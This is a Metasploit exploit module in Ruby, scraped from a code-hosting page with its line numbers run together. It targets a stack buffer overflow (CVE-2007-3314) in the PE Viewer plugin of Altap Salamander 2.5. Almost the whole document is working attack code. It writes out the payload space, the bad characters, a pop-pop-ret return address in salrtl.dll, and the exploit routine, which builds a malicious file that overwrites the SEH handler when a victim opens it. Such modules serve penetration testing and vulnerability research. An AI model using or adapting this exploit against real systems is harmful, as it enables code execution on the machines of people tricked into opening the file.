Path: blob/master/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in Altap Salamander <= v2.5.18By creating a malicious file and convincing a user to view the file with19the Portable Executable Viewer plugin within a vulnerable version of20Salamander, the PDB file string is copied onto the stack and the21SEH can be overwritten.22},23'License' => MSF_LICENSE,24'Author' => [ 'aushack' ],25'References' => [26[ 'CVE', '2007-3314' ],27[ 'BID', '24557' ],28[ 'OSVDB', '37579' ],29[ 'URL', 'http://vuln.sg/salamander25-en.html' ],30],31'DefaultOptions' => {32'EXITFUNC' => 'process',33'DisablePayloadHandler' => true34},35'Payload' => {36'Space' => 1024,37'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll43],44'Privileged' => false,45'DisclosureDate' => '2007-06-19',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe'])58]59)60end6162def exploit63seh = generate_seh_payload(target.ret)6465# load the static pdb file beginning66path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")67fd = File.open(path, "rb")68sploit = fd.read(fd.stat.size)69fd.close7071sploit << rand_text_alphanumeric(1098) + seh72sploit << ".pdb"7374print_status("Creating '#{datastore['FILENAME']}' file ...")7576file_create(sploit)77end78end798081